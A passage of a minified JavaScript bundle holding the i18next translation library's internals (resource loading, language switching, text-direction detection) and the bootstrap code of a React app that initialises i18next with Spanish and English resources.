c.reduce((d,m)=>{const{formatName:h,formatOptions:p}=YK(m);if(this.formats[h]){let x=d;try{const g=i?.formatParams?.[i.interpolationkey]||{},y=g.locale||g.lng||i.locale||i.lng||s;x=this.formats[h](d,y,{...p,...i,...g})}catch(g){this.logger.warn(g)}return x}else this.logger.warn(`there was no format function for ${h}`);return d},t)}}const WK=(e,t)=>{e.pending[t]!==void 0&&(delete e.pending[t],e.pendingCount--)};class QK extends Qh{constructor(t,n,s,i={}){super(),this.backend=t,this.store=n,this.services=s,this.languageUtils=s.languageUtils,this.options=i,this.logger=zs.create("backendConnector"),this.waitingReads=[],this.maxParallelReads=i.maxParallelReads||10,this.readingCalls=0,this.maxRetries=i.maxRetries>=0?i.maxRetries:5,this.retryTimeout=i.retryTimeout>=1?i.retryTimeout:350,this.state={},this.queue=[],this.backend?.init?.(s,i.backend,i)}queueLoad(t,n,s,i){const c={},u={},d={},m={};return t.forEach(h=>{let p=!0;n.forEach(x=>{const g=`${h}|${x}`;!s.reload&&this.store.hasResourceBundle(h,x)?this.state[g]=2:this.state[g]<0||(this.state[g]===1?u[g]===void 0&&(u[g]=!0):(this.state[g]=1,p=!1,u[g]===void 0&&(u[g]=!0),c[g]===void 0&&(c[g]=!0),m[x]===void 0&&(m[x]=!0)))}),p||(d[h]=!0)}),(Object.keys(c).length||Object.keys(u).length)&&this.queue.push({pending:u,pendingCount:Object.keys(u).length,loaded:{},errors:[],callback:i}),{toLoad:Object.keys(c),pending:Object.keys(u),toLoadLanguages:Object.keys(d),toLoadNamespaces:Object.keys(m)}}loaded(t,n,s){const i=t.split("|"),c=i[0],u=i[1];n&&this.emit("failedLoading",c,u,n),!n&&s&&this.store.addResourceBundle(c,u,s,void 0,void 0,{skipCopy:!0}),this.state[t]=n?-1:2,n&&s&&(this.state[t]=0);const d={};this.queue.forEach(m=>{FK(m.loaded,[c],u),WK(m,t),n&&m.errors.push(n),m.pendingCount===0&&!m.done&&(Object.keys(m.loaded).forEach(h=>{d[h]||(d[h]={});const p=m.loaded[h];p.length&&p.forEach(x=>{d[h][x]===void 0&&(d[h][x]=!0)})}),m.done=!0,m.errors.length?m.callback(m.errors):m.callback())}),this.emit("loaded",d),this.queue=this.queue.filter(m=>!m.done)}read(t,n,s,i=0,c=this.retryTimeout,u){if(!t.length)return u(null,{});if(this.readingCalls>=this.maxParallelReads){this.waitingReads.push({lng:t,ns:n,fcName:s,tried:i,wait:c,callback:u});return}this.readingCalls++;const d=(h,p)=>{if(this.readingCalls--,this.waitingReads.length>0){const x=this.waitingReads.shift();this.read(x.lng,x.ns,x.fcName,x.tried,x.wait,x.callback)}if(h&&p&&i<this.maxRetries){setTimeout(()=>{this.read.call(this,t,n,s,i+1,c*2,u)},c);return}u(h,p)},m=this.backend[s].bind(this.backend);if(m.length===2){try{const h=m(t,n);h&&typeof h.then=="function"?h.then(p=>d(null,p)).catch(d):d(null,h)}catch(h){d(h)}return}return m(t,n,d)}prepareLoading(t,n,s={},i){if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),i&&i();tt(t)&&(t=this.languageUtils.toResolveHierarchy(t)),tt(n)&&(n=[n]);const c=this.queueLoad(t,n,s,i);if(!c.toLoad.length)return c.pending.length||i(),null;c.toLoad.forEach(u=>{this.loadOne(u)})}load(t,n,s){this.prepareLoading(t,n,{},s)}reload(t,n,s){this.prepareLoading(t,n,{reload:!0},s)}loadOne(t,n=""){const s=t.split("|"),i=s[0],c=s[1];this.read(i,c,"read",void 0,void 0,(u,d)=>{u&&this.logger.warn(`${n}loading namespace ${c} for language ${i} failed`,u),!u&&d&&this.logger.log(`${n}loaded namespace ${c} for language ${i}`,d),this.loaded(t,u,d)})}saveMissing(t,n,s,i,c,u={},d=()=>{}){if(this.services?.utils?.hasLoadedNamespace&&!this.services?.utils?.hasLoadedNamespace(n)){this.logger.warn(`did not save key "${s}" as the namespace "${n}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!");return}if(!(s==null||s==="")){if(this.backend?.create){const m={...u,isUpdate:c},h=this.backend.create.bind(this.backend);if(h.length<6)try{let p;h.length===5?p=h(t,n,s,i,m):p=h(t,n,s,i),p&&typeof p.then=="function"?p.then(x=>d(null,x)).catch(d):d(null,p)}catch(p){d(p)}else h(t,n,s,i,d,m)}!t||!t[0]||this.store.addResource(t[0],n,s,i)}}}const tE=()=>({debug:!1,initAsync:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!1,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:e=>{let t={};if(typeof e[1]=="object"&&(t=e[1]),tt(e[1])&&(t.defaultValue=e[1]),tt(e[2])&&(t.tDescription=e[2]),typeof e[2]=="object"||typeof e[3]=="object"){const n=e[3]||e[2];Object.keys(n).forEach(s=>{t[s]=n[s]})}return t},interpolation:{escapeValue:!0,format:e=>e,prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!0},cacheInBuiltFormats:!0}),nE=e=>(tt(e.ns)&&(e.ns=[e.ns]),tt(e.fallbackLng)&&(e.fallbackLng=[e.fallbackLng]),tt(e.fallbackNS)&&(e.fallbackNS=[e.fallbackNS]),e.supportedLngs?.indexOf?.("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),typeof e.initImmediate=="boolean"&&(e.initAsync=e.initImmediate),e),Pf=()=>{},ZK=e=>{Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(n=>{typeof e[n]=="function"&&(e[n]=e[n].bind(e))})};class Au extends Qh{constructor(t={},n){if(super(),this.options=nE(t),this.services={},this.logger=zs,this.modules={external:[]},ZK(this),n&&!this.isInitialized&&!t.isClone){if(!this.options.initAsync)return this.init(t,n),this;setTimeout(()=>{this.init(t,n)},0)}}init(t={},n){this.isInitializing=!0,typeof t=="function"&&(n=t,t={}),t.defaultNS==null&&t.ns&&(tt(t.ns)?t.defaultNS=t.ns:t.ns.indexOf("translation")<0&&(t.defaultNS=t.ns[0]));const s=tE();this.options={...s,...this.options,...nE(t)},this.options.interpolation={...s.interpolation,...this.options.interpolation},t.keySeparator!==void 0&&(this.options.userDefinedKeySeparator=t.keySeparator),t.nsSeparator!==void 0&&(this.options.userDefinedNsSeparator=t.nsSeparator);const i=h=>h?typeof h=="function"?new h:h:null;if(!this.options.isClone){this.modules.logger?zs.init(i(this.modules.logger),this.options):zs.init(null,this.options);let h;this.modules.formatter?h=this.modules.formatter:h=XK;const p=new WN(this.options);this.store=new YN(this.options.resources,this.options);const x=this.services;x.logger=zs,x.resourceStore=this.store,x.languageUtils=p,x.pluralResolver=new $K(p,{prepend:this.options.pluralSeparator,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),this.options.interpolation.format&&this.options.interpolation.format!==s.interpolation.format&&this.logger.deprecate("init: you are still using the legacy format function, please use the new approach: https://www.i18next.com/translation-function/formatting"),h&&(!this.options.interpolation.format||this.options.interpolation.format===s.interpolation.format)&&(x.formatter=i(h),x.formatter.init&&x.formatter.init(x,this.options),this.options.interpolation.format=x.formatter.format.bind(x.formatter)),x.interpolator=new GK(this.options),x.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},x.backendConnector=new QK(i(this.modules.backend),x.resourceStore,x,this.options),x.backendConnector.on("*",(y,...w)=>{this.emit(y,...w)}),this.modules.languageDetector&&(x.languageDetector=i(this.modules.languageDetector),x.languageDetector.init&&x.languageDetector.init(x,this.options.detection,this.options)),this.modules.i18nFormat&&(x.i18nFormat=i(this.modules.i18nFormat),x.i18nFormat.init&&x.i18nFormat.init(this)),this.translator=new uh(this.services,this.options),this.translator.on("*",(y,...w)=>{this.emit(y,...w)}),this.modules.external.forEach(y=>{y.init&&y.init(this)})}if(this.format=this.options.interpolation.format,n||(n=Pf),this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){const h=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);h.length>0&&h[0]!=="dev"&&(this.options.lng=h[0])}!this.services.languageDetector&&!this.options.lng&&this.logger.warn("init: no languageDetector is used and no lng is defined"),["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"].forEach(h=>{this[h]=(...p)=>this.store[h](...p)}),["addResource","addResources","addResourceBundle","removeResourceBundle"].forEach(h=>{this[h]=(...p)=>(this.store[h](...p),this)});const d=Gc(),m=()=>{const h=(p,x)=>{this.isInitializing=!1,this.isInitialized&&!this.initializedStoreOnce&&this.logger.warn("init: i18next is already initialized. You should call init just once!"),this.isInitialized=!0,this.options.isClone||this.logger.log("initialized",this.options),this.emit("initialized",this.options),d.resolve(x),n(p,x)};if(this.languages&&!this.isInitialized)return h(null,this.t.bind(this));this.changeLanguage(this.options.lng,h)};return this.options.resources||!this.options.initAsync?m():setTimeout(m,0),d}loadResources(t,n=Pf){let s=n;const i=tt(t)?t:this.language;if(typeof t=="function"&&(s=t),!this.options.resources||this.options.partialBundledLanguages){if(i?.toLowerCase()==="cimode"&&(!this.options.preload||this.options.preload.length===0))return s();const c=[],u=d=>{if(!d||d==="cimode")return;this.services.languageUtils.toResolveHierarchy(d).forEach(h=>{h!=="cimode"&&c.indexOf(h)<0&&c.push(h)})};i?u(i):this.services.languageUtils.getFallbackCodes(this.options.fallbackLng).forEach(m=>u(m)),this.options.preload?.forEach?.(d=>u(d)),this.services.backendConnector.load(c,this.options.ns,d=>{!d&&!this.resolvedLanguage&&this.language&&this.setResolvedLanguage(this.language),s(d)})}else s(null)}reloadResources(t,n,s){const i=Gc();return typeof t=="function"&&(s=t,t=void 0),typeof n=="function"&&(s=n,n=void 0),t||(t=this.languages),n||(n=this.options.ns),s||(s=Pf),this.services.backendConnector.reload(t,n,c=>{i.resolve(),s(c)}),i}use(t){if(!t)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!t.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return t.type==="backend"&&(this.modules.backend=t),(t.type==="logger"||t.log&&t.warn&&t.error)&&(this.modules.logger=t),t.type==="languageDetector"&&(this.modules.languageDetector=t),t.type==="i18nFormat"&&(this.modules.i18nFormat=t),t.type==="postProcessor"&&gT.addPostProcessor(t),t.type==="formatter"&&(this.modules.formatter=t),t.type==="3rdParty"&&this.modules.external.push(t),this}setResolvedLanguage(t){if(!(!t||!this.languages)&&!(["cimode","dev"].indexOf(t)>-1)){for(let n=0;n<this.languages.length;n++){const s=this.languages[n];if(!(["cimode","dev"].indexOf(s)>-1)&&this.store.hasLanguageSomeTranslations(s)){this.resolvedLanguage=s;break}}!this.resolvedLanguage&&this.languages.indexOf(t)<0&&this.store.hasLanguageSomeTranslations(t)&&(this.resolvedLanguage=t,this.languages.unshift(t))}}changeLanguage(t,n){this.isLanguageChangingTo=t;const s=Gc();this.emit("languageChanging",t);const i=d=>{this.language=d,this.languages=this.services.languageUtils.toResolveHierarchy(d),this.resolvedLanguage=void 0,this.setResolvedLanguage(d)},c=(d,m)=>{m?this.isLanguageChangingTo===t&&(i(m),this.translator.changeLanguage(m),this.isLanguageChangingTo=void 0,this.emit("languageChanged",m),this.logger.log("languageChanged",m)):this.isLanguageChangingTo=void 0,s.resolve((...h)=>this.t(...h)),n&&n(d,(...h)=>this.t(...h))},u=d=>{!t&&!d&&this.services.languageDetector&&(d=[]);const m=tt(d)?d:d&&d[0],h=this.store.hasLanguageSomeTranslations(m)?m:this.services.languageUtils.getBestMatchFromCodes(tt(d)?[d]:d);h&&(this.language||i(h),this.translator.language||this.translator.changeLanguage(h),this.services.languageDetector?.cacheUserLanguage?.(h)),this.loadResources(h,p=>{c(p,h)})};return!t&&this.services.languageDetector&&!this.services.languageDetector.async?u(this.services.languageDetector.detect()):!t&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect.length===0?this.services.languageDetector.detect().then(u):this.services.languageDetector.detect(u):u(t),s}getFixedT(t,n,s){const i=(c,u,...d)=>{let m;typeof u!="object"?m=this.options.overloadTranslationOptionHandler([c,u].concat(d)):m={...u},m.lng=m.lng||i.lng,m.lngs=m.lngs||i.lngs,m.ns=m.ns||i.ns,m.keyPrefix!==""&&(m.keyPrefix=m.keyPrefix||s||i.keyPrefix);const h=this.options.keySeparator||".";let p;return m.keyPrefix&&Array.isArray(c)?p=c.map(x=>(typeof x=="function"&&(x=gv(x,{...this.options,...u})),`${m.keyPrefix}${h}${x}`)):(typeof c=="function"&&(c=gv(c,{...this.options,...u})),p=m.keyPrefix?`${m.keyPrefix}${h}${c}`:c),this.t(p,m)};return tt(t)?i.lng=t:i.lngs=t,i.ns=n,i.keyPrefix=s,i}t(...t){return this.translator?.translate(...t)}exists(...t){return this.translator?.exists(...t)}setDefaultNamespace(t){this.options.defaultNS=t}hasLoadedNamespace(t,n={}){if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;const s=n.lng||this.resolvedLanguage||this.languages[0],i=this.options?this.options.fallbackLng:!1,c=this.languages[this.languages.length-1];if(s.toLowerCase()==="cimode")return!0;const u=(d,m)=>{const h=this.services.backendConnector.state[`${d}|${m}`];return h===-1||h===0||h===2};if(n.precheck){const d=n.precheck(this,u);if(d!==void 0)return d}return!!(this.hasResourceBundle(s,t)||!this.services.backendConnector.backend||this.options.resources&&!this.options.partialBundledLanguages||u(s,t)&&(!i||u(c,t)))}loadNamespaces(t,n){const s=Gc();return this.options.ns?(tt(t)&&(t=[t]),t.forEach(i=>{this.options.ns.indexOf(i)<0&&this.options.ns.push(i)}),this.loadResources(i=>{s.resolve(),n&&n(i)}),s):(n&&n(),Promise.resolve())}loadLanguages(t,n){const s=Gc();tt(t)&&(t=[t]);const i=this.options.preload||[],c=t.filter(u=>i.indexOf(u)<0&&this.services.languageUtils.isSupportedCode(u));return c.length?(this.options.preload=i.concat(c),this.loadResources(u=>{s.resolve(),n&&n(u)}),s):(n&&n(),Promise.resolve())}dir(t){if(t||(t=this.resolvedLanguage||(this.languages?.length>0?this.languages[0]:this.language)),!t)return"rtl";try{const i=new Intl.Locale(t);if(i&&i.getTextInfo){const c=i.getTextInfo();if(c&&c.direction)return c.direction}}catch{}const n=["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam","ckb"],s=this.services?.languageUtils||new WN(tE());return t.toLowerCase().indexOf("-latn")>1?"ltr":n.indexOf(s.getLanguagePartFromCode(t))>-1||t.toLowerCase().indexOf("-arab")>1?"rtl":"ltr"}static createInstance(t={},n){return new Au(t,n)}cloneInstance(t={},n=Pf){const s=t.forkResourceStore;s&&delete t.forkResourceStore;const i={...this.options,...t,isClone:!0},c=new Au(i);if((t.debug!==void 0||t.prefix!==void 0)&&(c.logger=c.logger.clone(t)),["store","services","language"].forEach(d=>{c[d]=this[d]}),c.services={...this.services},c.services.utils={hasLoadedNamespace:c.hasLoadedNamespace.bind(c)},s){const d=Object.keys(this.store.data).reduce((m,h)=>(m[h]={...this.store.data[h]},m[h]=Object.keys(m[h]).reduce((p,x)=>(p[x]={...m[h][x]},p),m[h]),m),{});c.store=new YN(d,i),c.services.resourceStore=c.store}return c.translator=new uh(c.services,i),c.translator.on("*",(d,...m)=>{c.emit(d,...m)}),c.init(i,n),c.translator.options=i,c.translator.backendConnector.services.utils={hasLoadedNamespace:c.hasLoadedNamespace.bind(c)},c}toJSON(){return{options:this.options,store:this.store,language:this.language,languages:this.languages,resolvedLanguage:this.resolvedLanguage}}}const Gn=Au.createInstance();Gn.createInstance=Au.createInstance;Gn.createInstance;Gn.dir;Gn.init;Gn.loadResources;Gn.reloadResources;Gn.use;Gn.changeLanguage;Gn.getFixedT;Gn.t;Gn.exists;Gn.setDefaultNamespace;Gn.hasLoadedNamespace;Gn.loadNamespaces;Gn.loadLanguages;Gn.init({interpolation:{escapeValue:!1},lng:"es",fallbackLng:"es",resources:{es:{global:uK},en:{global:kK}}});document.documentElement.dir="ltr";document.documentElement.lang="es";OD.createRoot(document.getElementById("root")).render(o.jsx(C.StrictMode,{children:o.jsx(YI,{i18n:Gn,children:o.jsx(IY,{})})}));
